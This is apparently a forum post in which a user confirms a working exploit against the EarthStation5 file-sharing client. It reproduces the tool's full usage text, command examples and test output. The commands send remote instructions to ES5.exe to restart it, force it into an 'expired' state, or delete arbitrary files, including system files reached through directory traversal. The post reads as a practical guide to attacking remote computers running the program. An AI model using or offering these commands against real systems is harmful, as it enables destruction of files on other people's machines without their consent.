I can confirm that it works. I compiled the code with borland c++ and created a file called "test.txt" in C:\Program Files\EarthStation5\New Media Files.

C:\Documents and Settings\user\Desktop>es5 /d test.txt /s "C:\Program Files\Eart
hStation5\New Media Files" /i 127.0.0.1 /p 31266
Sending command to delete file "test.txt" in folder "C:\Program Files\EarthStati
on5\New Media Files\"...Done!
It was gone... I've tried it several times... it will reboot the computer and delete any file you tell it to!

C:\Documents and Settings\user\Desktop>es5
/R <retries> - Max UDP sendto() retries
/r - Restart remote computer's ES5.exe
/e - Tell remote computer's ES5.exe it's expired
/d <filename> - Delete file <filename>
/s <shared dir> - Remote computer's shared dir(case sensitive.)
Use quotes if path contains spaces.
/i <IP> - Remote computer's IP
/p <PORT> - Remote computer's "Search Service" port

The examples below assume remote ES5.exe is using IP=127.0.0.1 and port=1234

Example 1:
esv /r /i 127.0.0.1 /p 1234
This will restart remote computer's ES5.exe.

Example 2:
esv /e /i 127.0.0.1 /p 1234
This will force remote computer's ES5.exe to stop functioning, and let the
user know about it.

Example 3:
esv /d ..\..\..\WINDOWS\NOTEPAD.EXE /s "C:\Program Files\EarthStation5\New M
edia Files" /i 127.0.0.1 /p 1234
This will delete the file "\WINDOWS\NOTEPAD.EXE". This will not work
under Win98 (and probably Win95/WinME) but does work under WinXP (and
probably WinNT, Win2000, Win2003)

Example 4:
esv /d readme.txt /s "C:\Program Files\EarthStation5\New Media Files" /i 127
.0.0.1 /p 1234
This will delete the file "readme.txt" in the folder
"C:\Program Files\EarthStation5\New Media Files".
and works with all Windows versions

IMPORTANT:
The shared folder is case sensitive, and you must use the exact same path
as ES5.exe does. If path = "C:\Program Files\ES5\Files", then make sure
that ES5.exe doesn't use the shorter path "C:\Progra~1\ES5\Files"
or has uppercased all letters. You can find out the exact path in
ES5.exe's settings. Copy and paste that string.
I tested it on es5 1.1.24 build 2048.

The delete does not work with wild cards though. Good thing. I created several test txt files and folders. I would only delete individual files and not folders.

Good thing I haven't used this app! I only installed it to check it out...
